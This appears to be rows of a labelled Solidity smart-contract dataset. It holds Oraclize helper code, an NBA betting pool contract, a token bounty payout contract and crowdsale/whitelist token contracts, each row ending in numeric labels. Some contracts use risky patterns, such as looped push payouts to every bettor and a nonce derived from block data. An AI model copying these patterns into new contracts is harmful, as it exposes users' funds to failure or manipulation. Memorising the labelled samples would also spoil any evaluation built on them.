function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract nbagame is usingOraclize {
address owner;
address[2] public BOOKIES = [0x0161C8d35f0B603c7552017fe9642523f70d7B6A, 0x8B756b564d6FDFC1d0164174c514B0431ACC2409];
uint public constant NUM_TEAMS = 2;
string[NUM_TEAMS] public TEAM_NAMES = ["Washington Wizards", "Cleveland Cavaliers"];
enum TeamType { WWizards, CCavaliers, None }
TeamType public winningTeam = TeamType.None;
uint public constant BOOKIE_POOL_COMMISSION = 10;
uint public constant MINIMUM_BET = 0.01 ether;
uint public constant BETTING_OPENS = 1518905100;
uint public constant BETTING_CLOSES = 1519347900;
uint public constant PAYOUT_ATTEMPT_INTERVAL = 43200;
uint public constant BET_RELEASE_DATE = 1519520700;
uint public constant PAYOUT_DATE = BETTING_CLOSES + PAYOUT_ATTEMPT_INTERVAL;
bool public scheduledPayout;
bool public payoutCompleted;
struct Better {
uint[NUM_TEAMS] amountsBet;
}
mapping(address => Better) betterInfo;
address[] betters;
uint[NUM_TEAMS] public totalAmountsBet;
uint public numberOfBets;
uint public totalBetAmount;
event BetMade();
modifier canPerformPayout() {
if (winningTeam != TeamType.None && !payoutCompleted && now > BETTING_CLOSES) _;
}
modifier bettingIsClosed() {
if (now > BETTING_CLOSES) _;
}
modifier onlyBookieLevel() {
require(
BOOKIES[0] == msg.sender || BOOKIES[1] == msg.sender
);
_;
}
function nbagame() public {
owner = msg.sender;
pingOracle(PAYOUT_DATE - now);
}
function pingOracle(uint pingDelay) private {
oraclize_query(pingDelay, "WolframAlpha", "Wizards vs Cavaliers on February 22, 2018 Winner");
}
function __callback(bytes32 queryId, string result, bytes proof) public {
require(payoutCompleted == false);
require(msg.sender == oraclize_cbAddress());
if (keccak256(TEAM_NAMES[0]) == keccak256(result)) {
winningTeam = TeamType(0);
}
else if (keccak256(TEAM_NAMES[1]) == keccak256(result)) {
winningTeam = TeamType(1);
}
if (winningTeam == TeamType.None) {
if (now >= BET_RELEASE_DATE)
return releaseBets();
return pingOracle(PAYOUT_ATTEMPT_INTERVAL);
}
performPayout();
}
function getUserBets() public constant returns(uint[NUM_TEAMS]) {
return betterInfo[msg.sender].amountsBet;
}
function releaseBets() private {
uint storedBalance = this.balance;
for (uint k = 0; k < betters.length; k++) {
uint totalBet = betterInfo[betters[k]].amountsBet[0] + betterInfo[betters[k]].amountsBet[1];
betters[k].transfer(totalBet * storedBalance / totalBetAmount);
}
}
function canBet() public constant returns(bool) {
return (now >= BETTING_OPENS && now < BETTING_CLOSES);
}
function triggerPayout() public onlyBookieLevel {
pingOracle(0);
}
function bet(uint teamIdx) public payable {
require(canBet() == true);
require(TeamType(teamIdx) == TeamType.WWizards || TeamType(teamIdx) == TeamType.CCavaliers);
require(msg.value >= MINIMUM_BET);
if (betterInfo[msg.sender].amountsBet[0] == 0 && betterInfo[msg.sender].amountsBet[1] == 0)
betters.push(msg.sender);
betterInfo[msg.sender].amountsBet[teamIdx] += msg.value;
numberOfBets++;
totalBetAmount += msg.value;
totalAmountsBet[teamIdx] += msg.value;
BetMade();
}
function performPayout() private canPerformPayout {
uint losingChunk = this.balance - totalAmountsBet[uint(winningTeam)];
uint bookiePayout = losingChunk / BOOKIE_POOL_COMMISSION;
BOOKIES[0].transfer(bookiePayout / BOOKIES.length);
BOOKIES[1].transfer(bookiePayout / BOOKIES.length);
for (uint k = 0; k < betters.length; k++) {
uint betOnWinner = betterInfo[betters[k]].amountsBet[uint(winningTeam)];
uint payout = betOnWinner + ((betOnWinner * (losingChunk - bookiePayout)) / totalAmountsBet[uint(winningTeam)]);
if (payout > 0)
betters[k].transfer(payout);
}
payoutCompleted = true;
}
} | 0 | 613 |
pragma solidity ^0.4.24;
contract ReentrancyGuard {
uint private constant REENTRANCY_GUARD_FREE = 1;
uint private constant REENTRANCY_GUARD_LOCKED = 2;
uint private reentrancyLock = REENTRANCY_GUARD_FREE;
modifier nonReentrant() {
require(reentrancyLock == REENTRANCY_GUARD_FREE);
reentrancyLock = REENTRANCY_GUARD_LOCKED;
_;
reentrancyLock = REENTRANCY_GUARD_FREE;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface ERC20 {
function totalSupply() external view returns (uint supply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function decimals() external view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract JobsBounty is Ownable, ReentrancyGuard {
using SafeMath for uint256;
string public companyName;
string public jobPost;
uint public endDate;
address public INDToken;
constructor(string _companyName,
string _jobPost,
uint _endDate,
address _INDToken
) public{
companyName = _companyName;
jobPost = _jobPost ;
endDate = _endDate;
INDToken = _INDToken;
}
function ownBalance() public view returns(uint256) {
return SafeMath.div(ERC20(INDToken).balanceOf(this),1 ether);
}
function payOutBounty(address _referrerAddress, address _candidateAddress) external onlyOwner nonReentrant returns(bool){
assert(block.timestamp >= endDate);
assert(_referrerAddress != address(0x0));
assert(_candidateAddress != address(0x0));
uint256 individualAmounts = SafeMath.mul(SafeMath.div((ERC20(INDToken).balanceOf(this)),100),50);
assert(ERC20(INDToken).transfer(_candidateAddress, individualAmounts));
assert(ERC20(INDToken).transfer(_referrerAddress, individualAmounts));
return true;
}
function withdrawERC20Token(address anyToken) external onlyOwner nonReentrant returns(bool){
assert(block.timestamp >= endDate);
assert(ERC20(anyToken).transfer(owner, ERC20(anyToken).balanceOf(this)));
return true;
}
function withdrawEther() external onlyOwner nonReentrant returns(bool){
if(address(this).balance > 0){
owner.transfer(address(this).balance);
}
return true;
}
} | 1 | 3,979 |
pragma solidity ^0.4.23;
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, MintableToken _token) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
return weiAmount.mul(rate);
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) public {
owner = _owner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
constructor(address _owner) public Ownable(_owner) {}
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {}
}
contract Whitelist is Ownable {
mapping(address => bool) internal investorMap;
event Approved(address indexed investor);
event Disapproved(address indexed investor);
constructor(address _owner)
public
Ownable(_owner)
{
}
function isInvestorApproved(address _investor) external view returns (bool) {
require(_investor != address(0));
return investorMap[_investor];
}
function approveInvestor(address toApprove) external onlyOwner {
investorMap[toApprove] = true;
emit Approved(toApprove);
}
function approveInvestorsInBulk(address[] toApprove) external onlyOwner {
for (uint i = 0; i < toApprove.length; i++) {
investorMap[toApprove[i]] = true;
emit Approved(toApprove[i]);
}
}
function disapproveInvestor(address toDisapprove) external onlyOwner {
delete investorMap[toDisapprove];
emit Disapproved(toDisapprove);
}
function disapproveInvestorsInBulk(address[] toDisapprove) external onlyOwner {
for (uint i = 0; i < toDisapprove.length; i++) {
delete investorMap[toDisapprove[i]];
emit Disapproved(toDisapprove[i]);
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
constructor(address _owner)
public
Ownable(_owner)
{
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Validator {
address public validator;
event NewValidatorSet(address indexed previousOwner, address indexed newValidator);
constructor() public {
validator = msg.sender;
}
modifier onlyValidator() {
require(msg.sender == validator);
_;
}
function setNewValidator(address newValidator) public onlyValidator {
require(newValidator != address(0));
emit NewValidatorSet(validator, newValidator);
validator = newValidator;
}
}
contract CompliantToken is Validator, MintableToken {
Whitelist public whiteListingContract;
struct TransactionStruct {
address from;
address to;
uint256 value;
uint256 fee;
address spender;
}
mapping (uint => TransactionStruct) public pendingTransactions;
mapping (address => mapping (address => uint256)) public pendingApprovalAmount;
uint256 public currentNonce = 0;
uint256 public transferFee;
address public feeRecipient;
modifier checkIsInvestorApproved(address _account) {
require(whiteListingContract.isInvestorApproved(_account));
_;
}
modifier checkIsAddressValid(address _account) {
require(_account != address(0));
_;
}
modifier checkIsValueValid(uint256 _value) {
require(_value > 0);
_;
}
event TransferRejected(
address indexed from,
address indexed to,
uint256 value,
uint256 indexed nonce,
uint256 reason
);
event TransferWithFee(
address indexed from,
address indexed to,
uint256 value,
uint256 fee
);
event RecordedPendingTransaction(
address indexed from,
address indexed to,
uint256 value,
uint256 fee,
address indexed spender
);
event WhiteListingContractSet(address indexed _whiteListingContract);
event FeeSet(uint256 indexed previousFee, uint256 indexed newFee);
event FeeRecipientSet(address indexed previousRecipient, address indexed newRecipient);
constructor(
address _owner,
address whitelistAddress,
address recipient,
uint256 fee
)
public
MintableToken(_owner)
Validator()
{
setWhitelistContract(whitelistAddress);
setFeeRecipient(recipient);
setFee(fee);
}
function setWhitelistContract(address whitelistAddress)
public
onlyValidator
checkIsAddressValid(whitelistAddress)
{
whiteListingContract = Whitelist(whitelistAddress);
emit WhiteListingContractSet(whiteListingContract);
}
function setFee(uint256 fee)
public
onlyValidator
{
emit FeeSet(transferFee, fee);
